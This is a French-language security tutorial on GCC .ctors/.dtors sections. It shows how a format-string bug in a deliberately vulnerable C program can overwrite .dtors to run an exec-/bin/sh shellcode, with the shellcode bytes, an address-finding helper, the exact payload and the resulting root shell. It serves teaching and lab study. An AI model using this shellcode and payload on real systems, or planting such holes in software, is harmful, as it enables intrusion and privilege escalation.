La section dtors    Enregistrer au format PDF


par han0r

Introduction

Les sections .dtors et .ctors sont présentes dans tous les binaires compilés avec GNU C (gcc).
Elles permettent d’appeler des fonctions avant et/ou après la fonction main()

Nous allons voir qu’avec un peu de malice il est possible de s’en servir afin d’executer du code arbitaire.


Théorie

La section .ctors

La section .ctrors fournie une liste d’adresses de fonctions (constructeur) qui seront exécutées avant l’appelle de la fonction main().

On peut déclarer une fonction comme "constructeur" avec l’attribut constructor comme ceci :

Code C :

  1. static void fonction_constructeur(void) __atribute__ ((constructor));

Cette fonction sera exécutée avant la fonction main.

La section .dtors

La section .dtrors fournie une liste d’adresses de fonctions (destructeur) qui seront exécutées après l’appelle de la fonction main().

On peut déclarer une fonction comme "destructeur" avec l’attribut destructeur comme ceci :

Code C :

  1. static void fonction_destructeur(void) __atribute__ ((destructor));

Cette fonction sera exécutée avant la fonction main.

Exemple de programme

Code C :

  1. static void fonction_constructeur(void) __attribute__ ((constructor)); // Le prototype de la fonction  fonction_constructeur.
  2.  
  3. static void fonction_destructeur(void) __attribute__ ((destructor)); // Le prototype de la fonction  fonction_destructeur.
  4.  
  5. int main(void)
  6. {
  7.         printf("Je suis la fonction main()");
  8.         return 0;
  9. }
  10.  
  11. void fonction_constructeur(void)
  12. {
  13.         printf("Je suis la fonction contructeur, je suis exécutée avant la fonction main()");
  14. }
  15.  
  16. void fonction_destructeur(void)
  17. {
  18.         printf("Je suis la fonction destructeur, je suis exécuté après la fonction main()");
  19. }

Télécharger

On compile :

$ gcc -o prog prog.c

On exécute :

$ ./prog
Je suis la fonction constructeur, je suis exécutée avant la fonction main()
Je suis la fonction main()
Je suis la fonction destructeur, je suis exécutée après la fonction main()

Voir les sections dans le binaire

Pour voir ces sections en dure dans les binaires nous disposons de divers outils :

  • nm
  • objdump
  • ob
  • etc ...

Recupérer l’adresse des sections avec nm

$ nm ./prog

08049584 d _DYNAMIC
08049658 d _GLOBAL_OFFSET_TABLE_
080484ac R _IO_stdin_used
        w _Jv_RegisterClasses

08049570 d __CTOR_END__  <<<<<<<< Fin de la section .ctors

08049568 d __CTOR_LIST__ <<<<<<<< Début de la section .ctors

0804957c D __DTOR_END__  <<<<<<<<  Fin de la section .dtors

08049574 d __DTOR_LIST__  <<<<<<<< Début de la section .dtors

08048564 r __FRAME_END__
08049580 d __JCR_END__
08049580 d __JCR_LIST__
08049678 A __bss_start
08049670 D __data_start
08048460 t __do_global_ctors_aux
08048320 t __do_global_dtors_aux
08049674 D __dso_handle
              w __gmon_start__
0804845a T __i686.get_pc_thunk.bx
08049568 d __init_array_end
08049568 d __init_array_start
080483f0 T __libc_csu_fini
08048400 T __libc_csu_init
              U __libc_start_main@@GLIBC_2.0
08049678 A _edata
08049680 A _end
0804848c T _fini
080484a8 R _fp_hw
08048274 T _init
080482f0 T _start
08049678 b completed.5829
08049670 W data_start
0804967c b dtor_idx.5831

080483c0 t fonction_constructeur <<<<< L'adresse de fonction_constructeur

080483d4 t fonction_destructeur <<<<<< L'adresse de fonction_destructeur

08048380 t frame_dummy
080483a4 T main
        U puts@@GLIBC_2.0

__DTOR_LIST__ représente le debut du .dtors.

__DTOR_END__ représente la fin de .dtors.

Voir la structure des sections avec objdump

Maintenant nous allons voir comment elles sont structurées dans le binaire avec objdump.

$ objdump -s -j .dtors ./prog

./prog:     file format elf32-i386

Contents of section .dtors:
8049574 ffffffff {d4830408} 00000000           ............

$ objdump -s -j .ctors ./prog

./prog:     file format elf32-i386

Contents of section .ctors:
8049568 ffffffff {c0830408} 00000000           ............

Ici nous voyons trois choses :

  • Le DWORD 0xffffffff qui marque le début de la section, est contenu à l’adresse 0x8049568 qui est représentée par le symbole __CTOR_LIST__ vu plus haut.
  • L’adresse des fonctions "fonction_constructeur" et "fonction_destructeur" au centre.
  • Le DWORD NULL 0x00000000 représenté par le symbole __DTOR_END__.

Exploitation

Maintenant en sachant tout cela, on peut imaginer comment détourner le flux d’exécution du programme :

Si on arrive à écraser l’ adresse contenue dans la section .dtors et de la remplacer par l’adresse d’un shellcode ou d’une fonction de la libc dans le cas d’un ret2libc.

Mais comment arriver à écrire dans la section .dtors me direz-vous ?
Et bien avec une vulnérabilité bien connu : Vulnérabilité de chaine de format (string format vulnerability).

Avec une telle ouverture dans le binaire il nous est possible d’écrire où l’on veut en mémoire, et donc dans la section .dtors !

Deux cas de figure se presentent :

  • Soit il y a déjà une adresse de fonction présente comme dans l’exemple ci-dessus : 8049568 ffffffff c0830408 00000000
    Ainsi nous avons juste à remplacer l’adresse 0xc0830408
  • Soit il n’y a pas d’adresses présente. Dans ce cas là, la section se presentera comme ceci :
    8049568 ffffffff 00000000
    Il est possible d’écraser la valeur à l’adresse de __DTOR_END__, soit 0x00000000 dans l’exemple, pour rediriger le flux d’exécution où l’on veut.

Mise en pratique

Pré-requis :

  • Pas d’ASLR
  • Avoir la section .dtors en +w
  • Ne pas avoir de protection sur le nombre de pointeurs de fonction dans le .dtors (voir au bas de l’article)

Remarque : cela pourrait aussi fonctionner avec l’ASLR, mais cela compliquerait les choses et ce n’est pas le but de cet article.

La théorie c’est bien mais il faut aussi passer à la pratique, pour fixer les connaissances.

On se trouve face à ce programme :

Code C :

  1. #include <stdio.h>
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.         char buff[128];
  6.         strncpy(buff, argv[1], 128);
  7.         printf(buff);
  8.         printf("\n");
  9.         return 0;
  10. }

Télécharger

On voit tout de suite la grave erreur sur le printf(buff);

On va donc l’exploiter cette format string vulnerability pour écrire l’adresse d’un shellcode dans la section .dtors. Le shellcode va se trouver dans une variable d’environnement donc dans le pile (stack).

Déjà on regarde si le .dtors est en +w sinon ça ne sert à rien.

On compile et on lance gdb :

gcc vuln.c -o vuln

gdb -q ./vuln

(gdb) info file

   ....

       0x08049508 - 0x08049510 is .dtors

   ....


(gdb) info proc

process 2563
cmdline = '/tmp/test/vuln'
cwd = '/tmp/test'
exe = '/tmp/test/vuln'

(gdb) shell cat /proc/2563/maps
08048000-08049000 r-xp 00000000 08:01 14988      /tmp/test/vuln
08049000-0804a000 rwxp 00000000 08:01 14988      /tmp/test/vuln
b7eb2000-b7eb3000 rwxp b7eb2000 00:00 0
b7eb3000-b7fda000 r-xp 00000000 08:01 16586      /lib/tls/i686/cmov/libc-2.3.6.so
b7fda000-b7fdf000 r-xp 00127000 08:01 16586      /lib/tls/i686/cmov/libc-2.3.6.so
b7fdf000-b7fe1000 rwxp 0012c000 08:01 16586      /lib/tls/i686/cmov/libc-2.3.6.so
b7fe1000-b7fe4000 rwxp b7fe1000 00:00 0
b7fe8000-b7fea000 rwxp b7fe8000 00:00 0
b7fea000-b7feb000 r-xp b7fea000 00:00 0          [vdso]
b7feb000-b8000000 r-xp 00000000 08:01 90620      /lib/ld-2.3.6.so
b8000000-b8002000 rwxp 00014000 08:01 90620      /lib/ld-2.3.6.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]

Le .dtors se trouve en 0x08049508 et sur la map de la mémoire, on voit que l’intervalle 08049000-0804a000 est en +x, on va pouvoir écrire dedans.

Maintenant il faut regarder si la section est vide :

nm ./vuln | grep dtors

0804950c d __DTOR_END__
08049508 d __DTOR_LIST__

0x0804950c - 0x08049508 = 4

Donc la section est vide, on vérifie :

objdump -s -j .dtors ./vuln


./vuln:     file format elf32-i386

Contents of section .dtors:
8049508 ffffffff 00000000                    ........

Confirmation que la liste est vide, il va donc falloir écraser le DWORD NULL.

Ce DWORD NULL se trouve à l’adresse de la section .dtors + 4 : 0x08049508 + 0x4 =  0x0804950c

Passons au shellcode :

On prend un shellcode exec /bin/sh :

printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" > shellcode.bin

On le met dans l’environnement :

export SHELLCODE=$(cat shellcode.bin)

Il faut maintenant connaitre l’adresse de notre shellcode, on va utiliser ce petit programme qui prédit l’adresse d’une variable dans l’environnemnt d’un programme demandé :

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(int argc, char *argv[])
  6. {
  7.         char *ptr;
  8.  
  9.         if(argc < 3)
  10.         {
  11.                 printf("Usage: %s <variable d'environnement> <nom du programme cible>\n", argv[0]);
  12.                 exit(0);
  13.         }
  14.         ptr = getenv(argv[1]);
  15.         if(ptr == NULL)
  16.         {
  17.               printf("%s doesn't exist", argv[1]);
  18.               return -1;
  19.         }
  20.         ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
  21.         printf("%s is at %p\n", argv[1], ptr);
  22.         return 0;
  23. }

Télécharger

On compile et exécute :

gcc getenvaddr.c -o getenvaddr

./getenvaddr SHELLCODE ./vuln
SHELLCODE is at 0xbffffbc8

On récapitule :

  • L’adresse du DWORD NULL a écraser : 0x0804950c
  • L’adresse du shellcode : 0xbffffbc8

On exploit :

./vuln $(printf "\x0e\x95\x04\x08\x0c\x95\x04\x08")%49143x%8\$hn%15305x%9\$hn

....

....

sh-3.1# whoami
root
sh-3.1#

Et voila ! On a un shell ! Il n’est pas beau ??


Protection de la section .dtors

Il aurait été trop beau que cette technique marche à tous les coups. Une protection sur la section .dtors existe, plus précisément sur le nombre de fonctions à exécuter. C’est à dire que si dans un binaire aucun pointeur ne se trouve dans la section .dtors (comme dans l’exemple ci-dessus), aucune adresse ne sera prise en compte. Donc même si on écrase le DWORD NULL par l’adresse d’un shellcode, celui-ci ne sera pas executé !

Cette protection se trouve dans le fonction __do_global_dtors_aux(), c’est cette fontion qui se charge d’exécuter les pointeurs présents dans le .dtors.

Examinons ceci de plus près :

Fonction __do_global_dtors_aux() avec la protection

0x08048300 <__do_global_dtors_aux+16>:  mov    eax,ds:0x804954c

Ici eax va être à 0, eax va représenter le nombre de fonctions déjà executées, il est donc égal à 0

0x08048305 <__do_global_dtors_aux+21>:  mov    ebx,0x8049450
0x0804830a <__do_global_dtors_aux+26>:  sub    ebx,0x804944c

ebx va être egal à l’adresse de __DTOR_END__, et on y soustrait l’adresse de __DTOR_LIST__.
ebx va donc être égal à 4 octets, ce qui représente la taile du DWORD 0xffffffff.

0x08048310 <__do_global_dtors_aux+32>:  sar    ebx,0x2
0x08048313 <__do_global_dtors_aux+35>:  sub    ebx,0x1

Ici en gros on retire 4 octets à ebx. Donc ebx = 0.

0x08048316 <__do_global_dtors_aux+38>:  cmp    eax,ebx
0x08048318 <__do_global_dtors_aux+40>:  jae    0x8048338 <__do_global_dtors_aux+72>

On compare eax et ebx, ils sont tous les deux égales à 0, arrivé au jae on saute et on quitte la fonction.

  • Resultat : Aucune fonction n’a été executée, même si l’on aurait écrasé le DWORD NULL.

Si ebx est supérieur à eax on continue et on boucle sur ce code :

0x0804831a <__do_global_dtors_aux+42>:  lea    esi,[esi+0x0]
0x08048320 <__do_global_dtors_aux+48>:  add    eax,0x1
0x08048323 <__do_global_dtors_aux+51>:  mov    ds:0x804954c,eax
0x08048328 <__do_global_dtors_aux+56>:  call   DWORD PTR [eax*4+0x804944c]
0x0804832f <__do_global_dtors_aux+63>:  mov    eax,ds:0x804954c
0x08048334 <__do_global_dtors_aux+68>:  cmp    eax,ebx
0x08048336 <__do_global_dtors_aux+70>:  jb     0x8048320 <__do_global_dtors_aux+48>

Ici on va simplement :

  • Incrémenter eax, (qui je le rappelle est égal au nombre de fonctions exécutées jusqu’à maintenant).
  • Appeller la procahine fontion présente dans la liste.
  • Tester si il reste encore une fonction à exécuter.

Conclusion

Nous avons donc vu ce que sont les sections .dtors et .ctors, et plus intéressant, comment elles peuvent être la cible d’attaques pour prendre le contrôle de l’application.

Bien, que comme il est montré à la fin, les programmes compilés avec des versions récentes de GCC, ont une protection. Elle empêche d’exécuter du code arbitraire, si aucune adresse n’est présente dans la section .dtors.
Mais si une adresse est présente, rien ne nous empêche de l’écraser et de détourner le flux, à par peut être le DROP du droit d’écriture sur la section.

En espérant que cet article vous ai plu.

Documentations publiées dans cette rubrique